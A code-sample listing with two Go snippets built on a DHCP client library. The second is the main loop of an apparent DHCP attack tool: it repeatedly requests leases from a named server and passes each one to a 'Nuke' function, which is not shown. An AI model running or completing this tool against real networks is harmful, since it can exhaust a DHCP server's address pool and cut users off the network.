Exemplo n.º 1
0
func newDHCPClient(link netlink.Link) (*dhcp4client.Client, error) {
	pktsock, err := dhcp4client.NewPacketSock(link.Attrs().Index)
	if err != nil {
		return nil, err
	}

	return dhcp4client.New(
		dhcp4client.HardwareAddr(link.Attrs().HardwareAddr),
		dhcp4client.Timeout(5*time.Second),
		dhcp4client.Broadcast(false),
		dhcp4client.Connection(pktsock),
	)
}
Exemplo n.º 2
0
func main() {
	go sniff()
	if len(os.Args) == 1 {
		log.Fatalln("You didn't gave to me how times i have to perform this action")
		os.Exit(1)
	}
	toNuke := os.Args[1]
	myIP := net.ParseIP(os.Args[2])
	dhcpServer := net.ParseIP(os.Args[3])
	myMAC := os.Args[4]
	Times, _ := strconv.Atoi(toNuke)
	m, err := net.ParseMAC(myMAC)
	if err != nil {
		log.Printf("MAC Error:%v\n", err)
	}
	c, err := dhcp4client.NewInetSock(dhcp4client.SetLocalAddr(net.UDPAddr{IP: myIP, Port: 68}), dhcp4client.SetRemoteAddr(net.UDPAddr{IP: dhcpServer, Port: 67}))
	exampleClient, err := dhcp4client.New(dhcp4client.HardwareAddr(m), dhcp4client.Connection(c), dhcp4client.Broadcast(false))

	defer func() {
		if err != nil {
			exampleClient.Close()
		}
	}()

	for j := 1; j <= Times; j++ {

		ip := RequestIP(exampleClient)
		log.Println(ip)

		ipv4 := net.ParseIP(ip.YIAddr().String())
		//Nuke(ip)
		//Nuke(exampleClient, m, net.ParseIP("192.168.1.243"))
		Nuke(exampleClient, m, ipv4, ip)
	}
}